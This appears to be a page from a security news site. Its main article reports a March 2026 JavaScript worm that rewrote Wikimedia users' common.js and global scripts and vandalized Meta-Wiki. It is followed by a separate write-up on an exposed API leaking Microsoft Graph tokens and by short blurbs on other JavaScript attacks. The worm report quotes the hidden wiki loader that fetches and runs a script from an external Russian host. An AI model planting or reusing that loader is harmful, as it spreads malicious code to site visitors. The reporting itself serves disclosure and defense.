bleepingcomputer.com
March 5, 2026
By Lawrence Abrams
The Wikimedia Foundation suffered a security incident today after a self-propagating JavaScript worm began vandalizing pages and modifying user scripts across multiple wikis.
Update: Added Wikimedia Foundation's statement below and made a correction to denote it was only the Meta-Wiki that was vandalized.
The Wikimedia Foundation suffered a security incident today after a self-propagating JavaScript worm began modifying user scripts and vandalizing Meta-Wiki pages.
Editors first reported the incident on Wikipedia's Village Pump (technical), where users noticed a large number of automated edits adding hidden scripts and vandalism to random pages.
Wikimedia engineers temporarily restricted editing across projects while they investigated the attack and began reverting changes.
The JavaScript worm
According to Wikimedia's Phabricator issue tracker, it appears the incident started after a malicious script hosted on Russian Wikipedia was executed, causing a global JavaScript script on Wikipedia to be modified with malicious code.
The malicious script was stored at User:Ololoshka562/test.js [Archive], first uploaded in March 2024 and allegedly associated with scripts used in previous attacks on wiki projects.
Based on edit histories reviewed by BleepingComputer, the script is believed to have been executed for the first time by a Wikimedia employee account earlier today while testing user-script functionality. It is not currently known whether the script was executed intentionally, accidentally loaded during testing, or triggered by a compromised account.
BleepingComputer's review of the archived test.js script shows it self-propagates by injecting malicious JavaScript loaders into both a logged-in user's common.js and Wikipedia's global MediaWiki:Common.js, which is used by everyone.
MediaWiki allows both global and user-specific JavaScript files, such as MediaWiki:Common.js and User:<username>/common.js, which are executed in editors’ browsers to customize the wiki interface.
After the initial test.js script was loaded in a logged-in editor's browser, it attempted to modify two scripts using that editor's session and privileges:
User-level persistence: it tried to overwrite User:<username>/common.js with a loader that would automatically load the test.js script whenever that user browses the wiki while logged in.
Site-wide persistence: If the user had the right privileges, it would also edit the global MediaWiki:Common.js script, so that it would run for every editor that uses the global script.
Code to inject a self-propagating JavaScript worm into the MediaWiki:Common.js script
Code to inject a self-propagating JavaScript worm into the MediaWiki:Common.js script
Source: BleepingComputer
If the global script was successfully modified, anyone loading it would automatically execute the loader, which would then repeat the same steps, including infecting their own common.js, as shown below.
A Wikimedia user's infected common.js script
A Wikimedia user's infected common.js script
Source: BleepingComputer
The script also includes functionality to edit a random page by requesting one via the Special:Random wiki command, then editing the page to insert an image and the following hidden JavaScript loader.
[[File:Woodpecker10.jpg|5000px]]
<span style="display:none">
[[#%3Cscript%3E$.getScript('//basemetrika.ru/s/e41')%3C/script%3E]]
</span>
According to BleepingComputer's analysis, approximately 3,996 pages were modified, and around 85 users had their common.js files replaced during the security incident. It is unknown how many pages were deleted.
Pages modified by JavaScript worm
Pages modified by JavaScript worm
Source: BleepingComputer
As the worm spread, engineers temporarily restricted editing across projects while reverting the malicious changes and removing references to the injected scripts.
During the cleanup, Wikimedia Foundation staff members also rolled back the common.js for numerous users across the platform. These modified pages have now been "supressed" and are no longer visible in the change histories.
At the time of writing, the injected code has been removed, and editing is once again possible.
However, Wikimedia has not yet published a detailed post-incident report explaining exactly how the dormant script was executed or how widely the worm propagated before it was contained.
Update 3/5/26 7:45 PM ET: The Wikimedia Foundation shared the following statement with BleepingComputer, stating that the code was active for only 23 minutes, during which it only changed and deleted content on Meta-Wiki, which has since been restored.
"Earlier today, Wikimedia Foundation staff were conducting a security review of user-authored code on Wikipedia. During that review, we activated dormant code that was then quickly identified to be malicious. As a preventative measure, we temporarily disabled editing on Wikipedia and other Wikimedia projects while we removed the malicious code and confirmed the website was safe for user activity. The security issue behind this disruption has now been resolved.
The code was active for a 23 minute period. During that time, it changed and deleted content on Meta-Wiki – which is now being restored – but it did not cause permanent damage. We have no evidence that Wikipedia was under attack, or that personal information was breached as part of this incident. We are developing additional security measures to minimize the risk of this kind of incident happening again. Updates continue to be made available via the Foundation's public incident log."
An unsecured API endpoint buried inside a JavaScript file gave attackers the keys to the kingdom—direct access to sensitive Microsoft Graph data of thousands of employees, including top executives. CloudSEK’s BeVigil platform uncovered how this silent slip could lead to identity theft, phishing attacks, and regulatory nightmares. Here’s how it unfolded—and what your organization must do to stay safe.
CloudSEK’s BeVigil platform recently identified a critical security lapse on a publicly accessible of an aviation giant. The vulnerability stemmed from an exposed JavaScript file that contained an unauthenticated API endpoint. This endpoint granted access tokens to Microsoft Graph with elevated privileges, ultimately leading to unauthorized exposure of sensitive data belonging to more than 50,000 Azure AD users.
What Went Wrong
BeVigil’s API Scanner found that a JavaScript bundle with subdomain included on a hardcoded endpoint that was being accessed without authentication. This endpoint issued a Microsoft Graph API token with excessive permissions, specifically User.Read.All and AccessReview.Read.All. These permissions are typically restricted due to their ability to access full user profiles and critical identity governance data.
Using this token, an attacker could query Microsoft Graph endpoints to retrieve detailed employee information, including names, job titles, contact details, reporting structures, and even access review configurations. Such exposure not only undermines user privacy but also opens the door to privilege escalation, identity theft, and targeted phishing campaigns, especially since executive-level data was also exposed.
Scale and Severity
The impact is far-reaching. Data associated with over 50,000 users was accessible, and the endpoint continued to return records for newly added users. Among the exposed information were personal identifiers, user principal names, access role assignments, and other governance details. The exposure of this magnitude significantly increases the organization’s attack surface and introduces compliance risks under frameworks such as GDPR and CCPA.
Security and Compliance Implications
Unauthorized Data Access: Attackers could exploit the API to retrieve confidential employee records directly from Azure AD.
Token Misuse: The leaked token could grant unrestricted visibility into internal directory structures and governance decisions.
Snapshot of the Generated Authorization Token
Executive Exposure: The data of senior leadership was accessible, making them high-value targets for impersonation or social engineering.
Regulatory Violations: The exposure of personally identifiable information without proper safeguards raises serious compliance concerns. Data breaches erode user trust and can lead to long-term reputational harm and operational disruption.
Recommended Remediations
BeVigil suggested that following actions are implemented on priority:
Disable Public API Access: Restrict the vulnerable endpoint and enforce strict authentication controls.
Revoke Compromised Tokens: Invalidate exposed tokens and rotate affected credentials.
Enforce Least Privilege: Review and limit token scopes to only what is necessary.
Monitor API Usage: Implement logging and alerting to detect abnormal Microsoft Graph activity.
Secure Front-End Code: Avoid embedding sensitive endpoints or token logic in client-side scripts.
Review Permissions and Roles: Audit all Azure AD roles and access reviews to eliminate overprovisioned permissions.
Implement Rate Limiting: Protect API endpoints with rate controls and anomaly detection.
While analyzing threats targeting WordPress frameworks, we found an attack where a single 3rd party JavaScript file was used to inject four separate backdoors into 1,000 compromised websites using cdn.csyndication[.]com/.
Yesterday we discovered another client-side JavaScript attack targeting +500 websites, including governments and universities. The injected scripts create hidden links in the Document Object Model (DOM), pointing to external websites, a programming interface for web documents.
European Space Agency's official web shop was hacked as it started to load a piece of JavaScript code that generates a fake Stripe payment page at checkout.
Akamai researchers have discovered a novel obfuscation technique that Magecart attackers are using to hide malicious code and infiltrate websites.
Deep Instinct’s Threat Research Lab recently noticed a new strain of a JavaScript-based dropper that is delivering Bumblebee and IcedID. The dropper contains comments in Russian and employs the unique user-agent string “PindOS”, which may be a reference to current (and past) anti-American sentiment in Russia.
Bumblebee is a malware loader first discovered in March 2022. It was associated with Conti group and was being used as a replacement for BazarLoader. It acts as a primary vector for multiple types of other malware, including ransomware.
IcedID is a modular banking malware designed to steal financial information. It has been seen in the wild since at least 2017 and has recently been observed shifting some of its focus to malware delivery.
Proof-of-concept exploit code has been released for a recently disclosed critical vulnerability in the popular VM2 library, a JavaScript sandbox that is used by multiple software to run code securely in a virtualized environment.
Recently (On March 18 2023 at 23:44), a new malspam campaign has been observed in the wild ( HERE ), which caused a significant amount of concern. This campaign is designed to distribute malicious emails, which contain a harmful payload that can infect a user’s system, steal sensitive information, or launch other types of attacks.
A cybercriminal group has compromised a media content provider to deploy malware on the websites of hundreds of news outlets in the U.S. according to cybersecurity company Proofpoint.
A new Windows zero-day allows threat actors to use malicious JavaScript files to bypass Mark-of-the-Web security warnings. Threat actors are already seen using the zero-day bug in ransomware attacks.
